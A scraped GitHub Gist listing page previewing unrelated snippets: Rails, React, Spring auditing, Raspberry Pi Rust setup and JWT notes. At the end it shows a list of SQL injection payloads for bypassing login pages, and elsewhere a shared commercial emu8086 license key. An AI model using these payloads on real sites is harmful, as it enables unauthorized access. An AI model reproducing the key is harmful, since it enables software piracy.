Skip to content

Instantly share code, notes, and snippets.

@markahesketh
markahesketh / cell_component.rb
Created April 25, 2024 13:43
ViewComponent Table Example
class Admin::DataTable::CellComponent < ApplicationComponent
def initialize(tag: :td, header: false, collapse: false, padding: true, numeric: false, centered: true, **args)
@args = args
@args[:tag] = tag
@args[:class] = class_names(
@args[:class],
"text-end" => numeric,
"w-1" => collapse,
"text-center" => centered,
@ELI7VH
ELI7VH / react-context-boilerplate.tsx
Last active April 26, 2024 07:48
React Context Boiler Plate - Typescript
import React, { createContext, useContext, useState, useEffect } from "react"
type Props = {
children: React.ReactNode
}
type Context = {
count: number
increment: () => void
}
@dlxotn216
dlxotn216 / Auditing.md
Last active April 26, 2024 07:48
Spring data jpa의 Audit 기능과 Spring data envers

Application을 구현하면서 대부분 요구사항에 명시되는 기능이 변경사항 추적이다. 이때 변경 사항을 추적하기 위해 필요한 데이터는 누가 언제 생성하였으며, 누가 언제 변경하였는지 그리고 해당 데이터의 시점에 따른 변경 이력이다.

전통적인 Mybatis를 이용하는 Spring MVC와 같은 프레임워크에선 AOP를 이용한다던지 또는 Mapper에서 Insert, Update, Delete 쿼리를 실행할 때마다 History table에 Insert하는 쿼리를 같이 실행 하도록 처리하는 등의 방법이 있다. 이러한 방법을 사용할 때 생각보다 개발 일정을 지연시키는 요소가 많다.

예를들어 History 테이블의 PK를 잘못 지정하여 발생하는 예외나 DBMS마다 상이한 다량의 쿼리문 실행 문법 등이다. 전자는 개발 단계보다 UAT 기간 등에서 발견하기 쉬울 뿐더러 모든 대상 테이블을 돌면서 Schema를 변경해야 하는 번거로움이 있다.

@tstellanova
tstellanova / rpi0_rust_env.md
Last active April 26, 2024 07:47
Install rust development environment on Raspberry Pi Zero W (rpi0w)

Purpose

Setup your Raspberry Pi 0 w to develop with the Rust language.

Initial configuration

  • Ensure your rpi0 has a network connection so it can download and install packages
  • Install Raspbian based on Debian Stretch

Configure pigpio

If you're working with the rpi0's GPIO, the pigpio library can be very handy.

@zmts
zmts / tokens.md
Last active April 26, 2024 07:47
Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Last major update: 25.08.2020

  • Что такое авторизация/аутентификация
  • Где хранить токены
  • Как ставить куки ?
  • Процесс логина
  • Процесс рефреш токенов
  • Кража токенов/Механизм контроля токенов
@joao-neves95
joao-neves95 / emu8086-license-key.txt
Last active April 26, 2024 07:47
emu8086 License Key
User: ISHAAN,glaitm
Key: 27R3VDEFYFX4N0VC3FRTQZX
@Joao-Peterson
Joao-Peterson / gmk67-manual.md
Last active April 26, 2024 07:44
GMK67 manual (English)
@metaskills
metaskills / gist:893599
Created March 29, 2011 23:54
A Copy Of sp_MSforeachtable Stored Procedure For Azure, Uses sp_MSforeach_worker
CREATE proc [dbo].[sp_MSforeachtable]
@command1 nvarchar(2000), @replacechar nchar(1) = N'?', @command2 nvarchar(2000) = null,
@command3 nvarchar(2000) = null, @whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null
AS
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand is not null)
exec(@precommand)
@rootsploit
rootsploit / SQLi-login-bypass.txt
Created January 25, 2021 16:51
SQL Injection Payloads to Bypass Login Page
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#